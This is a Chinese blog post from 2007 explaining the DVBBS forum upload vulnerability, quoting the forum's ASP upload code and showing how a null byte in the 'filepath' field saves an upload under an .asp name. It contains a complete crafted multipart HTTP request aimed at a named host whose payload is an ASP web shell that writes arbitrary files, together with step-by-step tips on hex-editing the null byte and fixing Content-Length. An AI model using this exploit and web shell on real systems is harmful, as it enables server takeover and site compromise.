主页 » 技术技巧 » 动网论坛上传文件漏洞基本原理

动网论坛上传文件漏洞基本原理

2007-11-08添加留言



我们先看一下动网论坛上传文件的相关代码:
 
'===========无组件上传(upload_0)==================== 
sub upload_0() 
set upload=new UpFile_Class ''建立上传对象 
upload.GetDate (int(Forum_Setting(56))*1024) '取得上传数据,不限大小 
iCount=0 

if upload.err > 0 then 
select case upload.err 
case 1 
Response.Write "请先选择你要上传的文件 [ <a href=# onclick=history.go(-1)>重新上传</a> ]" 
case 2 
Response.Write "图片大小超过了限制 "&Forum_Setting(56)&"K [ <a href=# onclick=history.go(-1)>重新上传</a> ]" 
end select 
exit sub 
else 
formPath=upload.form("filepath") 
''在目录后加(/) 
if right(formPath,1)<>"/" then formPath=formPath&"/" 

for each formName in upload.file ''列出所有上传了的文件 
set file=upload.file(formName) ''生成一个文件对象 
if file.filesize<100 then 
response.write "请先选择你要上传的图片 [ <a href=# onclick=history.go(-1)>重新上传</a> ]" 
response.end 
end if 

fileExt=lcase(file.FileExt) 
if CheckFileExt(fileEXT)=false then 
response.write "文件格式不正确 [ <a href=# onclick=history.go(-1)>重新上传</a> ]" 
response.end 
end if 

randomize 
ranNum=int(90000*rnd)+10000 
filename=formPath&year(now)&month(now)&day(now)&hour(now)&minute(now)&second(now)&ranNum&"."&fileExt 
if file.FileSize>0 then ''如果 FileSize > 0 说明有文件数据 
file.SaveToFile Server.mappath(filename) ''保存文件 
' response.write file.FilePath&file.FileName&" ("&file.FileSize&") => "&formPath&File.FileName&" 成功!<br>" 
response.write "<script>parent.document.forms[0].myface.value='"&FileName&"'</script>" 
iCount=iCount+1 
end if 
set file=nothing 
next 
set upload=nothing 
session("upface")="done" 
Htmend iCount&" 个文件上传结束!" 

end if 
end sub 

在上面代码中可以看到这样一句: 
filename=formPath&year(now)&month(now)&day(now)&hour(now)&minute(now)&second(now)&ranNum&"."&fileExt 
这里,filename是保存的文件名,它是依照上传时间来命名的,最后扩展名是表单中提交过来的文件的扩展名.但是程序中对提交文件的类型做了限制,显然想直接上传ASP文件是不可行的.但是我们来看一下做为后辍的依据从哪里来的呢?我们可以在reg_upload.asp中找到这样的代码: 
<form name="form" method="post" action="upfile.asp" enctype="multipart/form-data" > 
<input type="hidden" name="filepath" value="uploadFace"> 
<input type="hidden" name="act" value="upload"> 
<input type="file" name="file1"> 
<input type="hidden" name="fname"> 
<input type="submit" name="Submit" value="上传" onclick="fname.value=file1.value,parent.document.forms[0].Submit.disabled=true, 
parent.document.forms[0].Submit2.disabled=true;"> 
</form> 
这样,我们知道了,程序是提取file1表单和fname表单中的值来做判断的.也就是说直接从页面递交我们的ASP文件也是行不通了,但是,如果是我们自己构造数据包的话就不一样了.欲望之翼提出的方法就是自已构造数据包来达到欺骗的目的.将提交的file1表单和fname表单项的值改成合法的文件名称.这样就可以绕过文件类型的检测了. 

当然,主要的问题不在这里,如果我们只是要上传那些代码的话,我们完全可以直接改文件名就好了.我们的目的是要让我们上传的文件名改成ASP,这样我们才可以利用.关键就在这一句了: 
formPath&year(now)&month(now)&day(now)&hour(now)&minute(now)&second(now)&ranNum&"."&fileExt 
这句话将一段字符串合并起来.我们能改的就是formPath这个参数.在计算机中检测字符串的关键就是看是否碰到''字符,如果是,则认为字符串结束了.也就是说我们在构造上传文件保存路径时,只要欺骗计算机,让他认为类似"uploadfacezwell.asp"这样的路径参数已经结束了,这样,后面一连串的时间字符我们都可以不要,从而达到直接将文件保存为我们定义的文件名的目的.因些,我们要做的是在构造的数据包中,将表单中的filepath改成类似uploadfacezwell.asp''的字符串然后发送出去就行了. 

我们先来看一下数据包的格式(论坛上好像大家用的是WSockExpert,不过我用的是IRIS,我觉得更专业一点,^_^): 

POST /forum/upfile.asp HTTP/1.1 
Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, */* 
Referer: http://192.168.10.101/a.asp?a=http://uyee.com/forum/upfile.asp 
Accept-Language: zh-cn 
Content-Type: multipart/form-data; boundary=—————————7d4a325500d2 
Accept-Encoding: gzip, deflate 
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; MyIE2; .NET CLR 1.1.4322; .NET CLR 1.0.3705) 
Host: uyee.com 
Content-Length: 1593 
Connection: Keep-Alive 
Cache-Control: no-cache 
Cookie: ASPSESSIONIDQCAQBAQT=NBDJCEFCMIICLJBJKHKMHJEF 

—————————–7d4a325500d2 
Content-Disposition: form-data; name="filepath" 

uploadFacezwell.asp 
—————————–7d4a325500d2 
Content-Disposition: form-data; name="act" 

upload 
—————————–7d4a325500d2 
Content-Disposition: form-data; name="file1"; filename="C:1.gif" 
Content-Type: text/plain 

<%dim objFSO%> 
<%dim fdata%> 
<%dim objCountFile%> 
<%on error resume next%> 
<%Set objFSO = Server.CreateObject("Scripting.FileSystemObject")%> 
<%if Trim(request("syfdpath"))<>"" then%> 
<%fdata = request("cyfddata")%> 
<%Set objCountFile=objFSO.CreateTextFile(request("syfdpath"),True)%> 
<%objCountFile.Write fdata%> 
<%if err =0 then%> 
<%response.write "<font color=red>save Success!</font>"%> 
<%else%> 
<%response.write "<font color=red>Save UnSuccess!</font>"%> 
<%end if%> 
<%err.clear%> 
<%end if%> 
<%objCountFile.Close%> 
<%Set objCountFile=Nothing%> 
<%Set objFSO = Nothing%> 
<%Response.write "<form action='''' method=post>"%> 
<%Response.Write "<input type=text name=syfdpath width=32 size=50>"%> 
<%Response.Write "<br>"%> 
<%=server.mappath(Request.ServerVariables("SCRIPT_NAME"))%> 
<%Response.write "<br>"%> 
<%Response.write "<textarea name=cyfddata cols=80 rows=10 width=32></textarea>"%> 
<%Response.write "<input type=submit value=save>"%> 
<%Response.write "</form>"%> 
—————————–7d4a325500d2 
Content-Disposition: form-data; name="fname" 

C:1.gif 
—————————–7d4a325500d2 
Content-Disposition: form-data; name="Submit" 

上传 
—————————–7d4a325500d2– 

上面的数据我是在WIN2003下调试的.按我前面讲的,只要改几个地方就好了 
1.Content-Disposition: form-data; name="file1"; filename="C:1.gif" 
2.Content-Disposition: form-data; name="fname" 

C:1.gif 
3.最重要的地方:uploadFacezwell.asp,怎么加一个空字符呢?用UltraEdit是个好方法,用16进制编辑,(因为''这个字符也占一个位置,所以我们先打入一空格,然后再在UltraEdit里将对就空格符的20改成00). 

至于,最前面的那一段,直接从抓包工具中提取就是了.而且随便一个都行.但是最重要的是要注意这一句: 
Content-Length: 1593 
很多人测试都没成功,就因为这个值设的不对,其实这个值很好算,是从第一个"—————————–7d4a325500d2"开始算起,到"—————————–7d4a325500d2–rnrn"截止,大家看到的"rn"是起换行作用,占两个字符.我看论坛上大家论坛时都是说加一个字符值就加一,不是说不对,只是还要这样数,代码短倒无所谓,代码要是很长怎么办呢?:),这里告诉大家一个简单的方法:打开记事本,将算长度的代码复制到记事本,保存,然后看属性就一目了然了,一个字符都不会错.只是有一点必须注意,必须将最后的那几个换行也复制进来.很多人就是因为没有复制换行才失败的. 

写了这么多,我们也看到,每一个这样改太不方便,做了工具是必须的了,呵呵,具体不多说了,部分代码如下: 

隐藏内容 隐藏内容
该内容已经被作者隐藏,只有会员才允许查阅 登录 | 注册


WINDOWS2003 + VC.NET 
WINDOWS2003 WINDOWS2000测试通过 

发表评论